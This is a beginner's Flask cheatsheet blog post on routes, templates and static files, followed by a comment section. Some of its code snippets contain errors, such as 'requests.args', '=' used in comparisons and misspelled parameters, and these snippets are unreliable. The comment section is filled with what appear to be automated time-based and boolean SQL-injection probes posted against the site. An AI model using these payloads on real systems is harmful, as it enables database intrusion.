~/ / posts / Flask

Python Flask Cheatsheet

a cheatsheet so you dont have to remember everything.

Python Flask Cheatsheet

a cheatsheet so you dont have to remember everything

Routes

A route in Flask is a way of mapping a specific URL path to a Python function (known as a view function) that handles the web request and returns a response

BASIC TEMPLATE:

from flask import Flask

app = Flask(__name__)

@app.route("/")
def home():
    return `<h1>hello</h1>`

if __name__ == "__main__":
    app.run(debug=True)

URL & ROUTES

root:

@app.route("/")

taking variable:

@app.route('/add/<number>')
def add_func(number):

taking variable more than one:

@app.route('/add/<number>/<number>')
def add_func(number1,number2):

taking variable specific type:

@app.route('/add/<int:number>')
def add_func(number):

talking args from the requests: /add?age=10

def add_func(number):
    name = requests.args
    // return dict
    specific = requests.args.get("age")

POST Requests

only accept post request

@app.route('/hello',methods=["POST"])
def function():
````
only post and get request

@app.route('/hello',methods=["POST","GET"]) def function(): if request.method = "GET": return "you got get request" if request.method = "POST": return "you got post request" ````

TEMPLATES

you have to import Flask,render_template add in starting

app = Flask(__name__,template_folders='templates')

structure:

project/
│
├── app.py
├── templates/
│   └── index.html

return a html file:

@app.route("/")
def home():
    return render_template("index.html")

transfering variables in html file:

def home():
    data = "hello"
    return render_template("index.html",mydata=data)

inside the html: use {{ variable }} when dynamic content or variables is passed

<p>{{mmydata}}</p>

we use {% ... %} (curly braces with percent signs) for if statements and for loops for example a list is passed in mydata we can do

{% for item in mydata %}
    {{item}}
{% endfor %}

using if funciton

{% if mydata == "hello" %}
    {{item}}
{% endif %}

template inheritance

for example you dont wanna use the starting stuff of the index.html or and what to use same in all we can use block {% block name %} ... {% endblock %} block := Used in your "base" or parent file (often called base.html or layout.html), a block defines a section that child pages can fill with their own content

base.html

<!DOCTYPE html>
<html>
<head>
    <title>{% block title %}My Site{% endblock %}</title>
</head>
<body>
    <nav>Navigation Bar</nav>

    <div class="main-content">
        {% block content %}{% endblock %} <!-- Content from child pages goes here -->
    </div>

    <footer>Site Footer</footer>
</body>
</html>

index.html

{% extends "base.html" %}

{% block title %}Home Page{% endblock %}

{% block content %}
    <h1>Welcome to the Home Page!</h1>
    <p>This text is specific to the index page.</p>
{% endblock %}

Why use url_for? Instead of hardcoding a link like<a href="/login">, you use{{ url_for('login') }}.

images & files

strucutre for using images,and static file

├── static/            
│   ├── css/
│   │   └── style.css
│   ├── js/
│   │   └── script.js
│   └── img/
│       └── logo.png

use this for

app = Flask(__name__,template_folders='templates',static_folder='static',static_url_path='/')

insde html you wanna use image

<img src="/img/logo.png">
← back to all posts

Always keep your cheeks full of good memories.

You can munch on them when times get tough.

— Wise Hamster 🐹

$ cat ./reviews

53 reviews
ZMskyuza 20 Aug 2026

555

ZMskyuza 20 Aug 2026

@@jfJJX

ZMskyuza 20 Aug 2026

555%C0%A7%C0%A2%2527%2522\'\"

ZMskyuza 20 Aug 2026

555'"

ZMskyuza 20 Aug 2026

555

ZMskyuza 20 Aug 2026

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

ZMskyuza 20 Aug 2026

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

ZMskyuza 20 Aug 2026

555kwMu6Vkm')) OR 243=(SELECT 243 FROM PG_SLEEP(15))--

ZMskyuza 20 Aug 2026

555FINNNyDB') OR 468=(SELECT 468 FROM PG_SLEEP(15))--

ZMskyuza 20 Aug 2026

555iKANHM3p' OR 170=(SELECT 170 FROM PG_SLEEP(15))--

ZMskyuza 20 Aug 2026

555-1)) OR 966=(SELECT 966 FROM PG_SLEEP(15))--

ZMskyuza 20 Aug 2026

555-1) OR 712=(SELECT 712 FROM PG_SLEEP(15))--

ZMskyuza 20 Aug 2026

555-1 OR 744=(SELECT 744 FROM PG_SLEEP(15))--

ZMskyuza 20 Aug 2026

555WB9eLqjo'; waitfor delay '0:0:15' --

ZMskyuza 20 Aug 2026

555-1 waitfor delay '0:0:15' --

ZMskyuza 20 Aug 2026

555-1); waitfor delay '0:0:15' --

ZMskyuza 20 Aug 2026

555-1; waitfor delay '0:0:15' --

ZMskyuza 20 Aug 2026

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

ZMskyuza 20 Aug 2026

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

ZMskyuza 20 Aug 2026

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

ZMskyuza 20 Aug 2026

555*if(now()=sysdate(),sleep(15),0)

ZMskyuza 20 Aug 2026

-1" OR 2+761-761-1=0+0+0+1 --

ZMskyuza 20 Aug 2026

-1' OR 2+712-712-1=0+0+0+1 or 'ib1MaLRx'='

ZMskyuza 20 Aug 2026

-1' OR 2+611-611-1=0+0+0+1 --

ZMskyuza 20 Aug 2026

-1 OR 2+388-388-1=0+0+0+1

ZMskyuza 20 Aug 2026

-1 OR 2+600-600-1=0+0+0+1 --

ZMskyuza 20 Aug 2026

555

ZMskyuza 20 Aug 2026

555dHGUbkdm

ZMskyuza 20 Aug 2026

555

ZMskyuza 20 Aug 2026

555

@@nWNqD 20 Aug 2026

555

ZMskyuza%C0%A7%C0%A2%2527%2522\'\" 20 Aug 2026

555

ZMskyuza'" 20 Aug 2026

555

ZMskyuza 20 Aug 2026

555

ZMskyuza'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 20 Aug 2026

555

ZMskyuza47SFx2ey')) OR 398=(SELECT 398 FROM PG_SLEEP(15))-- 20 Aug 2026

555

ZMskyuzaNZZZKdNm') OR 577=(SELECT 577 FROM PG_SLEEP(15))-- 20 Aug 2026

555

ZMskyuzaZCZdw975' OR 520=(SELECT 520 FROM PG_SLEEP(15))-- 20 Aug 2026

555

ZMskyuzagQkyyIYo'; waitfor delay '0:0:15' -- 20 Aug 2026

555

ZMskyuza-1 waitfor delay '0:0:15' -- 20 Aug 2026

555

ZMskyuza0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 20 Aug 2026

555

ZMskyuza0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 20 Aug 2026

555

if(now()=sysdate(),sleep(15),0) 20 Aug 2026

555

-1" OR 2+63-63-1=0+0+0+1 -- 20 Aug 2026

555

-1' OR 2+434-434-1=0+0+0+1 or 'idLmBzSr'=' 20 Aug 2026

555

-1' OR 2+886-886-1=0+0+0+1 -- 20 Aug 2026

555

-1 OR 2+254-254-1=0+0+0+1 20 Aug 2026

555

-1 OR 2+490-490-1=0+0+0+1 -- 20 Aug 2026

555

ZMskyuza 20 Aug 2026

555

ZMskyuza3xvJGBeE 20 Aug 2026

555

ZMskyuza 20 Aug 2026

555

ZMskyuza 20 Aug 2026

555

ZMskyuza 20 Aug 2026

555